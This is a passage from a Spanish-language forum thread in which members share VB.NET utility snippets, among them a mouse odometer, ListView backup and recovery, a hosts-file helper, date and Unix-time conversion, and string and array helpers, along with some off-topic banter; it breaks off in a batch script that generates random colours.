If MessageBox.Show("Oh Dios mío. ¿Estás seguro que deseas volver a la soledad del escritorio de Windows?", Application.ProductName, MessageBoxButtons.YesNo, MessageBoxIcon.Question) = Windows.Forms.DialogResult.Yes Then
Me.Close()
End If
End Sub
'¿Resetear la distancia recorrida?
Private Sub ResetearToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ResetearToolStripMenuItem.Click
If MessageBox.Show("¿Estás seguro que deseas resetear la distancia recorrida?", Application.ProductName, MessageBoxButtons.YesNo, MessageBoxIcon.Question) = Windows.Forms.DialogResult.Yes Then
EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER, "0")
DistanciaRecorridaMM = 0
End If
End Sub
'Seleccionar la distancia como "Metros"
Private Sub MetrosToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MetrosToolStripMenuItem.Click
UnidadActual = eUnidades.Metros
EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config, UnidadActual)
SetCheckUnidadMenu()
End Sub
'Seleccionar la distancia como "Kilometros"
Private Sub KilometrosToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles KilometrosToolStripMenuItem.Click
UnidadActual = eUnidades.Kilometros
EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config, UnidadActual)
SetCheckUnidadMenu()
End Sub
#End Region
#Region "Miscelanea"
'Devuelve cual es la carpeta "Temporal" de Windows
Private Function CarpetaTempWindows() As String
Dim s As String
s = IO.Path.GetTempPath
If s.EndsWith("\") = False Then s &= "\"
Return s
End Function
'Activa o desactiva la unidad de distancia en el ContextMenu
Private Sub SetCheckUnidadMenu()
Select Case UnidadActual
Case eUnidades.Kilometros
KilometrosToolStripMenuItem.CheckState = CheckState.Checked
MetrosToolStripMenuItem.CheckState = CheckState.Unchecked
Case eUnidades.Metros
KilometrosToolStripMenuItem.CheckState = CheckState.Unchecked
MetrosToolStripMenuItem.CheckState = CheckState.Checked
End Select
End Sub
'Inicia los "parámetros", de tal forma que si cerramos el programa y luego lo volvemos a ejecutar,
'Se inicializara la "unidad" de medida anterior
Private Sub IniciarParametros()
If IO.File.Exists(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config) = False Then
UnidadActual = eUnidades.Metros
EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config, UnidadActual)
Else
Dim s As String = LeerFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config)
UnidadActual = CType(s, eUnidades)
End If
End Sub
#End Region
End Class
Fuente: http://www.gamefilia.com/ollydbg/11-07-2009/24484/cuantos-kilometros-recorre-tu-raton-adivinalo-ahora
Source: http://blog.transitopesado.com/blog/file.axd?file=2011%2f2%2fMouseOdometerNET_source.zip
Un saludo.
PD: Con esto voy a poder hacer mi app, ahora solo me falta saber cuantas letras clico al día... :P Según Drvy vio por ahí cada 1000 teclas son 20 calorías, pues ale, a hacer reglas de 3... :P
Y así puedo sacar cuantas calorías se queman xD Que te parece?
Cita de: Ikillnukes en 31 Julio 2013, 13:11 PMyo en mi vida, he tomado a nadie por Noob en el tema de la programación
Ahá...
Cita de: Ikillnukes en 5 Julio 2013, 14:12 PMxD Que bueno es saber CSS y HTML y un poco de PHP. Es la ostia los noobs que son algunos.
Cita de: Novlucker en 5 Julio 2013, 15:06 PM[Offtopic] No subestimar a los demás, alguien podría estar pensando lo mismo sobre ti en .NET :silbar:
PD: La otra cita es para que recuerdes el buen consejo de Novlucker.
Si quieres aceptar mi consejo hazlo, sino pues no lo hagas, pero ya te he dicho lo que pienso y tu también lo acabas de hacer, ya no es necesario que sigamos haciendo más offtopics.
Saludos
Eh, eh, eh! xDD
Me estás citando temas de MP xD Eso es privado, además, eso es en StackOverFlow, aquí no he visto nadie noob, solo que lo piden todo muy hecho, vamos como soy yo... xD
Ale, hasta aquí mi último offtopic, no quiero quedar yo como el malo, ostias! :xD :xD :laugh:
Maemia, vas y me sacas un MP que no tiene nada que ver con EHN, pero a que juegas? LOL xDD
PD: No te tomes a mal la expresión "a que juegas" ;)
Un saludo.
Citar[Offtopic] No subestimar a los demás, alguien podría estar pensando lo mismo sobre ti en .NET :silbar:
Por ejemplo, medio foro... xD
Edit: Pero que digo? xD Si eso es un topic, es verdad, me reitero a lo dicho, pero por igual, me refería a StackOverflow, "la comunidad del código hecho", si tu lo sabes bien, que algunos preguntan unas cacho burradas que pa que... :P
http://foro.elhacker.net/net/customizar_texto_2_o_3_veces_dentro_del_mismo_label-t394160.0.html;msg1867848#msg1867848
Cita de: Novlucker en 31 Julio 2013, 15:06 PM
http://foro.elhacker.net/net/customizar_texto_2_o_3_veces_dentro_del_mismo_label-t394160.0.html;msg1867848#msg1867848
CitarEdit: Pero que digo? xD Si eso es un topic, es verdad, me reitero a lo dicho, pero por igual, me refería a StackOverflow, "la comunidad del código hecho", si tu lo sabes bien, que algunos preguntan unas cacho burradas que pa que... :P
:¬¬ :¬¬ Mientras tu te molestabas en buscar el topic yo me estaba reiterando en lo que he dicho, pido perdón... :P
Es más, si se me permite voy a citar un topic de StackOverFlow en el que creo que me vais a dar la razón...
La super ultra mega pregunta de PHP: http://stackoverflow.com/questions/17475292/no-database-selected-on-php/17475317#17475317
Solo a ese topic me refería (porque no encuentro preguntas muy noobs, bueno puede que algunas, pero son fallos tontos que cualquiera podría tener, hasta yo mismo), no me digáis, que no tengo razón, por lo menos quien sepa de PHP, pensará que ese tío que ha hecho la pregunta es un burro... No me digáis que no, porque eso es ya trolear... ;)
Puede que llevéis razón, en que otra persona puede estar pensando lo mismo de mi en .NET, pero eso no me quita a mi, de defender lo que si se en PHP ;)
Y ya dejemos desviar el tema...
Que os parece el
Snippete que me he encontrado por ahí? :silbar:
Cita de: Ikillnukes en 31 Julio 2013, 15:08 PMMientras tu te molestabas en buscar el topic yo me estaba reiterando en lo que he dicho, pido perdón...
Cita de: Ikillnukes en 5 Julio 2013, 14:12 PM
Pincha donde dice "
Cita de: Ikillnukes" y verás lo que ocurre... ;)
Saludos.
Un administrador de Snippets:
http://forum.mphca.net/showthread.php?150809-Release-Vb-net-Code-Snippet-Manager
(http://i991.photobucket.com/albums/af38/TastyCookieez/Untitled-11.png)
PD: NO LO HE TESTEADO
Cita de: EleKtro H@cker en 31 Julio 2013, 16:00 PM
Cita de: Ikillnukes en 5 Julio 2013, 14:12 PM
Pincha donde dice "Cita de: Ikillnukes" y verás lo que ocurre... ;)
Saludos.
Ya no me dí cuenta de hacerlo, me di cuenta más tarde xD
Cita de: EleKtro H@cker en 31 Julio 2013, 16:00 PM
Un administrador de Snippets:
http://forum.mphca.net/showthread.php?150809-Release-Vb-net-Code-Snippet-Manager
(http://i991.photobucket.com/albums/af38/TastyCookieez/Untitled-11.png)
PD: NO LO HE TESTEADO
Anda, que chulo...
PD: Sigues sin opinar el Source que he encontrado.. :(
Cita de: Ikillnukes en 31 Julio 2013, 16:02 PMPD: Sigues sin opinar el Source que he encontrado.. :(
¿Porque me toca siempre a mi opinar todos los snippets q posteas? xD
Si fuese un snippet tuyo opinaria, o en caso de que tuviese errores o se pudiese mejorar pues comentaria todos esos aspectos...
...¿pero que leches quieres q diga de ese snippet? xD, pues me parece un snippet muy ...peculiar, vaya ...que no le encuentro utilidad alguna :xD, pero bueno seguro que alguna utilidad se le podrá dar, aunque sea por pura curiosidad de saber cuantos "kilometros" recorremos a diario...
Saludos.
Guardar y recuperar datos en una aplicación, por ejemplo si la aplicación se mata después de un bug o si reiniciamos el Pc (de forma brusca sin esperar a que las aplicaciones se cierren), etc...
El code es genérico y está optimizado para salvaguardar los datos (items) de un Listview, pero se puede modificar fácilmente para usarlo con todo tipo de datos...
PD: Esto es una traslación con pocas mejoras de un code de C# que me proporcionó Novlucker, así que los créditos para él.
#Region " Backup and Recovery Listview Items "
' [ Backup and Recovery Listview Items ]
ReadOnly BackupFile As String = "Recovery.tmp" ' File conaining the data to recover.
Private BackupData As New List(Of ListViewItem) ' Storage for the data to backup.
Private BinaryFormat As New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter()
Private Sub Backup(ByVal ListView As ListView)
BackupData.Clear()
Select Case ListView.Items.Count
Case 0
Try : IO.File.Delete(BackupFile) : Catch : End Try
' We don't need the BackupFile if it will not contains anything to recover...
Case Else
BackupData.AddRange(ListView.Items.Cast(Of ListViewItem))
Using Writter As New IO.FileStream(BackupFile, IO.FileMode.Create)
BinaryFormat.Serialize(Writter, BackupData)
End Using
End Select
End Sub
Private Sub Recovery(ByVal ListView As ListView)
If IO.File.Exists(BackupFile) Then
Using Reader As New IO.FileStream(BackupFile, IO.FileMode.Open)
BackupData = DirectCast(BinaryFormat.Deserialize(Reader), List(Of ListViewItem))
End Using
ListView.Items.AddRange(BackupData.ToArray())
End If
End Sub
#End Region
Ejemplo de uso:
Para guardar todos los items de un listview en un archivo temporal ...por ejemplo cada 60 segundos:
WithEvents BackupTimer As New Timer With {.Interval = 60 * 1000, .Enabled = True}
Private Sub BackupTimer_Tick(sender As Object, e As EventArgs) Handles BackupTimer.Tick
Backup(ListView1)
End ' Matamos la aplicación si se quiere testear...
End Sub
Y para restaurar los datos perdidos en la próxima ejecución de la aplicación podemos hacer lo siguiente:
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
If IO.File.Exists(BackupFile) Then
If MessageBox.Show( _
"An error ocurred during the last session." & vbNewLine & vbNewLine & _
"Do you want to recover the lost data?", "Recovery", _
MessageBoxButtons.YesNo, MessageBoxIcon.Question) _
= DialogResult.Yes Then
Recovery(ListView1)
MessageBox.Show("Data recovered!", "Recovery", MessageBoxButtons.OK, MessageBoxIcon.Information)
End If
End If
End Sub
Saludos.
Una Class para manipular el archivo Hosts:
#Region " Hosts Helper "
Public Class Hosts_Helper
' [ Hosts Helper ]
'
' // By Elektro H@cker
'
' Examples:
'
' MsgBox(Hosts_Helper.HOSTS_Exists)
' Hosts_Helper.Add("www.youtube.com", "231.7.66.33")
' Hosts_Helper.Block("www.youtube.com")
' MsgBox(Hosts_Helper.IsAdded("www.youtube.com"))
' MsgBox(Hosts_Helper.IsBlocked("www.youtube.com"))
' Hosts_Helper.Remove("www.youtube.com")
' Hosts_Helper.Clean_Hosts_File()
Shared ReadOnly HOSTS As String = _
IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Drivers\etc\hosts")
''' <summary>
''' Adds a new Block mapping into the Hosts file.
''' </summary>
Public Shared Sub Block(ByVal URL As String)
Dim Entry As String = String.Format("::1 {0}", URL)
If HOSTS_Exists() AndAlso IsBlocked(URL) Then
Throw New Exception(String.Format("""{0}"" is already blocked.", URL))
Exit Sub
ElseIf HOSTS_Exists() AndAlso IsAdded(URL) Then
Remove(URL)
End If
Try
IO.File.AppendAllText(HOSTS, (Environment.NewLine & Entry), System.Text.Encoding.Default)
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Adds a new mapping into Hosts file.
''' </summary>
Public Shared Sub Add(ByVal URL As String, ByVal IP_Address As String)
Dim Entry As String = String.Format("{0} {1}", IP_Address, URL)
If HOSTS_Exists() AndAlso (IsAdded(URL) OrElse IsBlocked(URL)) Then
Throw New Exception(String.Format("""{0}"" is already mapped.", URL))
Exit Sub
ElseIf Not Validate_IP(IP_Address) Then
Throw New Exception(String.Format("""{0}"" is not a valid IP adress.", IP_Address))
Exit Sub
End If
Try
IO.File.AppendAllText(HOSTS, (Environment.NewLine & Entry), System.Text.Encoding.Default)
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Removes a blocked or an added URL from the Hosts file.
''' </summary>
Public Shared Sub Remove(ByVal URL As String)
If Not HOSTS_Exists() Then
Throw New Exception("HOSTS File does not exists.")
Exit Sub
ElseIf HOSTS_Exists() And Not (IsAdded(URL) OrElse IsBlocked(URL)) Then
Throw New Exception(String.Format("""{0}"" is not added yet.", URL))
Exit Sub
End If
Try
Dim Content As String = _
System.Text.RegularExpressions.Regex.Replace(IO.File.ReadAllText(HOSTS).ToLower, _
String.Format("(\d{{1,3}}\.\d{{1,3}}\.\d{{1,3}}\.\d{{1,3}}|::1)(\s+|\t+){0}", URL.ToLower), String.Empty)
IO.File.WriteAllText(HOSTS, Content, System.Text.Encoding.Default)
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Checks if an URL is already added into the Hosts file.
''' </summary>
Public Shared Function IsAdded(ByVal URL As String) As Boolean
Return If(Not HOSTS_Exists(), False, _
System.Text.RegularExpressions.Regex.IsMatch( _
System.Text.RegularExpressions.Regex.Replace(IO.File.ReadAllText(HOSTS).ToLower, "\s+|\t+", ";"), _
String.Format(";[^\#]?\d{{1,3}}\.\d{{1,3}}\.\d{{1,3}}\.\d{{1,3}};{0}", URL.ToLower)))
End Function
''' <summary>
''' Checks if an URL is already blocked into the Hosts file.
''' </summary>
Public Shared Function IsBlocked(ByVal URL As String) As Boolean
Return If(Not HOSTS_Exists(), False, _
System.Text.RegularExpressions.Regex.IsMatch( _
System.Text.RegularExpressions.Regex.Replace(IO.File.ReadAllText(HOSTS).ToLower, "\s+|\t+", String.Empty), _
String.Format("[^\#](127.0.0.1|::1){0}", URL.ToLower)))
End Function
''' <summary>
''' Checks if the Hosts file exists.
''' </summary>
Public Shared Function HOSTS_Exists() As Boolean
Return IO.File.Exists(HOSTS)
End Function
''' <summary>
''' Cleans all the mappings inside the Hosts file.
''' </summary>
Public Shared Sub Clean_Hosts_File()
Try
IO.File.WriteAllText(HOSTS, String.Empty)
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
' Validates an IP adress.
Private Shared Function Validate_IP(ByVal IP_Address As String) As Boolean
Dim IP As System.Net.IPAddress = Nothing
Return System.Net.IPAddress.TryParse(IP_Address, IP)
End Function
End Class
#End Region
Obtener la diferencia (personalizada) entre dos fechas:
#Region " Date Difference "
' Date Difference
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(DateDifference(DateTime.Parse("01/03/2013"), DateTime.Parse("10/04/2013"))) ' Result: 1 Months, 1 Weeks, 2 Days, 0 Hours, 0 Minutes and 0 Seconds
' MsgBox(DateDifference(DateTime.Parse("01/01/2013 14:00:00"), DateTime.Parse("02/01/2013 15:00:30"))) ' Result: 0 Months, 0 Weeks, 1 Days, 1 Hours, 0 Minutes and 30 Seconds
Private Function DateDifference(ByVal Date1 As DateTime, ByVal Date2 As DateTime) As String
Dim MonthDiff As String, WeekDiff As String, _
DayDiff As String, HourDiff As String, _
MinuteDiff As String, SecondDiff As String
MonthDiff = Convert.ToString(DateDiff("M", Date1, Date2))
WeekDiff = Convert.ToString(DateDiff("d", Date1.AddMonths(DateDiff("M", Date1, Date2)), Date2) \ 7)
DayDiff = Convert.ToString(DateDiff("d", Date1.AddMonths(DateDiff("M", Date1, Date2)), Date2) - (WeekDiff * 7))
HourDiff = Convert.ToString(DateDiff("h", Date1.AddHours(DateDiff("h", Date1, Date2)), Date2) - (Date1.Hour - Date2.Hour))
MinuteDiff = Convert.ToString(DateDiff("n", Date1.AddMinutes(DateDiff("n", Date1, Date2)), Date2) - (Date1.Minute - Date2.Minute))
SecondDiff = Convert.ToString(DateDiff("s", Date1.AddSeconds(DateDiff("s", Date1, Date2)), Date2) - (Date1.Second - Date2.Second))
Return String.Format("{0} Months, {1} Weeks, {2} Days, {3} Hours, {4} Minutes and {5} Seconds", _
MonthDiff, WeekDiff, DayDiff, HourDiff, MinuteDiff, SecondDiff)
End Function
#End Region
Corregido:
#Region " Date Difference "
' Date Difference
'
' Examples :
'
' MsgBox(DateDifference(DateTime.Parse("01/03/2013"), DateTime.Parse("10/04/2013"))) ' Result: 1 Months, 1 Weeks, 2 Days, 0 Hours, 0 Minutes and 0 Seconds
' MsgBox(DateDifference(DateTime.Parse("01/01/2013 14:00:00"), DateTime.Parse("02/01/2013 15:00:30"))) ' Result: 0 Months, 0 Weeks, 1 Days, 1 Hours, 0 Minutes and 30 Seconds
Private Function DateDifference(ByVal Date1 As DateTime, ByVal Date2 As DateTime) As String
Dim Time As TimeSpan
Dim MonthDiff As Integer, WeekDiff As Integer
Do Until Date1 > Date2
Date1 = Date1.AddMonths(1)
MonthDiff += 1
Loop
MonthDiff -= 1
Date1 = Date1.AddMonths(-1)
Time = (Date2 - Date1)
WeekDiff = (Time.Days \ 7)
Time = (Time - TimeSpan.FromDays(WeekDiff * 7))
Return String.Format("{0} Months, {1} Weeks, {2} Days, {3} Hours, {4} Minutes and {5} Seconds", _
MonthDiff, WeekDiff, Time.Days, Time.Hours, Time.Minutes, Time.Seconds)
End Function
#End Region
Unos tips que he codeado sobre el manejo de una lista de Tuplas, de una lista de FIleInfo, y sobre la utilización de algunas extensiones de LINQ:
PD: Es muy bueno aprender todos estos métodos para dejar en el olvido a los FOR.
List(Of Tuple)
' Create the list:
Dim TupleList As New List(Of Tuple(Of String, Boolean, Integer)) ' From {Tuple.Create("Hello world", True, 1)}
' Add an Item:
TupleList.Add(Tuple.Create("Elektro", False, 0))
TupleList.Add(Tuple.Create("H@cker", True, 1))
' Order the TupleList by a Tuple item:
TupleList = TupleList.OrderBy(Function(Tuple) Tuple.Item3).ToList
' Sort the TupleList by a Tuple item:
TupleList.Sort( _
Function(Comparer_A As Tuple(Of String, Boolean, Integer), _
Comparer_B As Tuple(Of String, Boolean, Integer)) _
Comparer_A.Item3.CompareTo(Comparer_B.Item3))
' Filter the list by items equals as "True" in their Tuple second item:
TupleList = TupleList.Where(Function(Tuple) Tuple.Item2 = True).ToList
' Display a Tuple item from a list item:
MsgBox(TupleList.Item(0).Item2)
' Looping the list:
For Each Item As Tuple(Of String, Boolean, Integer) In TupleList
MsgBox(Item.Item1)
Next
List(Of FileInfo)
' Create the list:
Dim Files As List(Of IO.FileInfo) = IO.Directory.GetFiles("C:\", "*") _
.Select(Function(ToFileInfo) New IO.FileInfo(ToFileInfo)).ToList
' Add an Item:
Files.Add(New IO.FileInfo("C:\Windows\Notepad.exe"))
' Order the list by a file property:
Files = Files.OrderBy(Function(File) File.Extension).ToList
' Sort the list by a file property:
Files.Sort( _
Function(Comparer_A As IO.FileInfo, Comparer_B As IO.FileInfo) _
Comparer_A.Extension.CompareTo(Comparer_B.Extension))
' Filter the list by files containing "note" word in their filename:
Files = Files.Where(Function(File) File.Name.ToLower.Contains("note")).ToList
' Display a file property from a list item:
MsgBox(Files.Item(0).FullName)
' Looping the list:
For Each File As IO.FileInfo In Files
MsgBox(File.FullName)
Next
Convierte una fecha a formato de fecha Unix
#Region " DateTime To Unix "
' [ DateTime To Unix Function ]
'
' Examples :
'
' MsgBox(DateTime_To_Unix(DateTime.Parse("01/01/2013 12:00:00"))) ' Result: 1357041600
Public Function DateTime_To_Unix(ByVal DateTime As DateTime) As Long
Return DateDiff(DateInterval.Second, #1/1/1970#, DateTime)
End Function
#End Region
Convierte formato de fecha Unix a Fecha normal.
#Region " Unix To DateTime "
' [ Unix To DateTime Function ]
'
' Examples :
'
' MsgBox(Unix_To_DateTime(1357041600)) ' Result: 01/01/2013 12:00:00
Public Function Unix_To_DateTime(ByVal UnixTime As Long) As DateTime
Return DateAdd(DateInterval.Second, UnixTime, #1/1/1970#)
End Function
#End Region
Una función para convertir entre tasas de transferencia de telecomunicaciones y tasas de transferencia de datos, es decir, entre Bp/s y B/s.
PD: En este snippet @IkillNukes me ha ayudado con los cálculos matemáticos de las enumeraciones, que me daban ciertos problemas.
#Region " Telecommunication Bitrate To DataStorage Bitrate "
' [ Base64 To String Function ]
'
' // By Elektro H@cker & IKillNukes
'
' Examples :
'
' MsgBox(Telecommunication_Bitrate_To_DataStorage_Bitrate(365, _
' Telecommunications_Bitrates.Kilobips, _
' DataStorage_Bitrates.Kilobytes)) ' Result: 45
'
' MsgBox(Telecommunication_Bitrate_To_DataStorage_Bitrate(365, _
' Telecommunications_Bitrates.Kilobips, _
' DataStorage_Bitrates.Kilobytes)) ' Result: 45,625
Private Enum Telecommunications_Bitrates As Long
Bips = 1 ' bit/s
Kilobips = 1000 ' bit/s
Megabips = 1000000 ' bit/s
Gigabips = 1000000000 ' bit/s
Terabips = 1000000000000 ' bit/s
End Enum
Private Enum DataStorage_Bitrates As Long
Bytes = 8 ' bits
Kilobytes = 8000 ' bits
Megabytes = 8000000 ' bits
Gigabytes = 8000000000 ' bits
Terabytes = 8000000000000 ' bits
End Enum
Private Function Telecommunication_Bitrate_To_DataStorage_Bitrate( _
ByVal BitRate As Single, _
ByVal Telecommunications_Bitrates As Telecommunications_Bitrates, _
ByVal DataStorage_Bitrates As DataStorage_Bitrates, _
Optional ByVal Rounded As Boolean = True
) As Single
Return IIf(Rounded, _
(BitRate * Telecommunications_Bitrates) \ DataStorage_Bitrates, _
(BitRate * Telecommunications_Bitrates) / DataStorage_Bitrates)
End Function
#End Region
Una función para abreviar cantidades de dinero al estilo americano.
PD: He preguntado a gente americana como son las abreviaturas para cifras más grandes de un Trillón pero al parecer no existen abreviaturas Standards, así que me las he inventado un poco basándome en el nombre de las cantidades. http://ell.stackexchange.com/questions/9123/money-abbreviations
EDITO: Corregido la ubicación del caracter del dolar, parece ser que se pone a la izquierda de la cantidad, no a la derecha.
#Region " Money Abbreviation "
' [ Money Abbreviation Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Money_Abbreviation(1000)) ' Result: 1 K
' MsgBox(Money_Abbreviation(1000000)) ' Result: 1 M
' MsgBox(Money_Abbreviation(1500000, False)) ' Result: 1,5 M
Private Function Money_Abbreviation(ByVal Quantity As Object, _
Optional ByVal Rounded As Boolean = True) As String
Dim Abbreviation As String = String.Empty
Select Case Quantity.GetType()
Case GetType(Int16), GetType(Int32), GetType(Int64)
Quantity = FormatNumber(Quantity, TriState.False)
Case Else
Quantity = FormatNumber(Quantity, , TriState.False)
End Select
Select Case Quantity.ToString.Count(Function(character As Char) character = Convert.ToChar("."))
Case 0 : Return String.Format("${0}", Quantity)
Case 1 : Abbreviation = "k"
Case 2 : Abbreviation = "M"
Case 3 : Abbreviation = "B"
Case 4 : Abbreviation = "Tr."
Case 5 : Abbreviation = "Quad."
Case 6 : Abbreviation = "Quint."
Case 7 : Abbreviation = "Sext."
Case 8 : Abbreviation = "Sept."
Case Else
Return String.Format("${0}", Quantity)
End Select
Return IIf(Rounded, _
String.Format("{0} {1}", StrReverse(StrReverse(Quantity).Substring(StrReverse(Quantity).LastIndexOf(".") + 1)), Abbreviation), _
String.Format("{0} {1}", StrReverse(StrReverse(Quantity).Substring(StrReverse(Quantity).LastIndexOf(".") - 1)), Abbreviation))
End Function
#End Region
Contar la cantidad de coincidencias de un caracter dentro de un string.
#Region " Count Character "
' [ Count Character Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Count_Character("Elektro", "e")) ' Result: 1
' MsgBox(Count_Character("Elektro", "e", True)) ' Result: 2
Public Function Count_Character(ByVal str As String, ByVal character As Char, _
Optional ByVal IgnoreCase As Boolean = False) As Integer
Return IIf(IgnoreCase, _
str.ToLower.Count(Function(c As Char) c = Convert.ToChar(character.ToString.ToLower)), _
str.Count(Function(c As Char) c = character))
End Function
#End Region
Este código devuelve la cantidad de coincidencias de un String en los valores de un Array:
#Region " Count Array Matches "
' [ Count Array Matches ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Count_Array_Matches({"a", "b", "c", "d", "d", "d"}, "d")) ' Result: 3
Private Function Count_Array_Matches(ByVal Collection As String(), _
ByVal Match As String, ByVal _
IgnoreCase As Boolean) As Integer
Return IIf(IgnoreCase, _
Collection.Where(Function(str) str.ToLower = Match.ToLower).Count, _
Collection.Where(Function(str) str = Match).Count)
End Function
#End Region
Este código elimina los valores únicos de un array:
#Region " Delete Array Unique Names "
' [ Delete Array Unique Names ]
'
' // By Elektro H@cker
'
' Examples :
' Dim MyArray as String() = Delete_Unique_Values_In_Array({"a", "b", "c", "d", "d", "d"}) ' Result: {"d", "d", "d"}
Private Function Delete_Unique_Values_In_Array(ByVal Collection As String()) As String()
Return Collection.GroupBy(Function(x) x) _
.Where(Function(x) x.Count() > 1) _
.SelectMany(Function(x) x) _
.ToArray()
End Function
#End Region
PD: No está muy optimizado pero para Arrays pequeños no se aprecia nada el performance.
Contar las líneas en blanco o valores vacios de un array usando LINQ:
MsgBox(RichTextBox1.Lines.Where(Function(Line) String.IsNullOrEmpty(Line)).Count)
MsgBox({"a", "", "", "b"}.Where(Function(value) String.IsNullOrEmpty(value)).Count)
EDITO:
Unas funciones genéricas muy cortas:
#Region " Count Blank Lines "
' [ Count Blank Lines ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Count_Blank_Lines(RichTextBox1.Lines))
' MsgBox(Count_Blank_Lines({"A", "", "", "B"})) ' Result: 2
Private Function Count_Blank_Lines(ByVal str As String()) As Integer
Return str.Where(Function(X) String.IsNullOrEmpty(X)).Count
End Function
#End Region
#Region " Count Non Blank Lines "
' [ Count non blank lines ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Count_Non_Blank_Lines(RichTextBox1.Lines))
' MsgBox(Count_Non_Blank_Lines({"A", "", "", "B"})) ' Result: 2
Private Function Count_Non_Blank_Lines(ByVal str As String()) As Integer
Return str.Where(Function(X) Not String.IsNullOrEmpty(X)).Count
End Function
#End Region
#Region " Get non blank lines "
' [ Get non blank lines ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(String.Join(Environment.NewLine, Get_Non_Blank_Lines(RichTextBox1.Lines)))
' MsgBox(String.Join(Environment.NewLine, Get_Non_Blank_Lines({"A", "", "", "B"}))) ' Result: {"A", "B"}
Private Function Get_Non_Blank_Lines(ByVal str As String()) As String()
Return str.Where(Function(X) Not String.IsNullOrEmpty(X)).ToArray
End Function
#End Region
Contar todas las agrupaciones en un string:
PD: Para quien no sepa, una agrupación empieza con el caracter "(" y acaba con el ")"
Dim stack As New Stack(Of Char)
'Dim input As String = ")((()))("
Dim input As String = "(Hello) ) ( (World)?"
Dim opened As Integer = 0
Dim closed As Integer = 0
For Each ch As Char In input
If ch = "(" Then
stack.Push("#")
ElseIf ch = ")" Then
If stack.Count = 0 Then
opened += 1
Else
closed += 1
stack.Pop()
End If
End If
Next ch
opened = opened + stack.Count
Console.WriteLine("Opened:{0} Closed:{1}", opened, closed)
MsgBox(String.Format("Opened:{0} Closed:{1}", opened, closed))
EDITO:
Lo he modificado un poco para usarlo a mis necesidades:
Private ReadOnly Property TotalAgrupations As Dictionary(Of String, Integer)
Get
Return Count_Agrupations_In_String(TextBox_RegEx.Text)
End Get
End Property
' MsgBox(TotalAgrupations("Opened"))
' MsgBox(TotalAgrupations("Closed"))
Private Function Count_Agrupations_In_String(ByVal str As String) As Dictionary(Of String, Integer)
Dim stack As New Stack(Of Char)
Dim opened As Integer = 0
Dim closed As Integer = 0
For Each ch As Char In str
If ch = "(" Then
stack.Push("#")
ElseIf ch = ")" Then
If stack.Count = 0 Then
opened += 1
Else
closed += 1
stack.Pop()
End If
End If
Next ch
Return New Dictionary(Of String, Integer) From { _
{"Opened", opened + stack.Count}, _
{"Closed", closed} _
}
End Function
Los siguientes códigos he testeado su velocidad de ejecución usando métodos distintos con LINQ, RegEx y For, ha ganado For y con mucha diferencia de ms así que aquí tienen:
Reemplaza (o elimina) todos los caracteres que indiquemos en un string
#Region " Replace All Characters "
' [ Replace All Characters Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Replace_All_Characters("Hello World!", {"e"c, "o"c}, "+")) ' Result: H+ll+ W+rld!
Public Function Replace_All_Characters(ByVal str As String, _
ByVal chars As Char(), _
replaceWith As Char) As String
For Each c As Char In chars
str = str.Replace(c, replaceWith)
Next
Return str
End Function
#End Region
Reemplazar todos los caracteres en un string, menos los caracteres que indiquemos.
#Region " Replace All Characters Except "
' [ Replace All Characters Except Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Replace_All_Characters("Hello World!", "eo", ".")) ' Result: ".e..o..o...."
Public Function Replace_All_Characters_Except(ByVal str As String, _
ByVal chars As String, _
replaceWith As Char) As String
Dim temp_str As String = String.Empty
For Each c As Char In str
If Not chars.Contains(c) Then
temp_str &= c
Else
temp_str &= replaceWith
End If
Next c
Return temp_str
End Function
#End Region
Eliminar todos los caracteres en un string, menos los caracteres que indiquemos.
El snippet de arriba se puede usar para esta misma función, pero traducido a milisegundos este código es más rápido.
#Region " Remove All Characters Except "
' [ Remove All Characters Except Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Remove_All_Characters_Except("Hello World!", "eo".ToCharArray)) ' Result: "eoo"
Public Function Remove_All_Characters_Except(ByVal str As String, _
ByVal chars As Char()) As String
Dim temp_str As String = String.Empty
For Each c As Char In str
For Each cc As Char In chars
If c = cc Then temp_str &= cc
Next cc
Next c
Return temp_str
End Function
#End Region
Hice un código improvisado en Batch para crear un listado con colores RGB aleatorios (todo lo aleatorio que cabe usando Batch) para luego copiarlo diréctamente en la IDE.
Esto lo hice por la misma razón que suelo hacer con todo este tipo de snippets, para ahorrarme el trabajo manual repetitivo xD, aunque habría quedado más bonito en otro lenguaje.
No necesito generar esta lista en tiempo de ejecución así que perdonarme por no postear una versiónd el code traducida a VB.
@Echo OFF
REM By Elektro H@cker
TITLE Random Color.FromArgb() Generator for .NET
:::::::::::::::::::::
Set /A Max_Colors=255
:::::::::::::::::::::
set /A random1 & set /A random2 & set /A random3
set /a index=0
Echo+>"Color.FromArgb.txt"
:loop1
Call set /a "random1=%%RANDOM:~0,3%%"
if not %random1% GTR 255 (Goto :loop2)
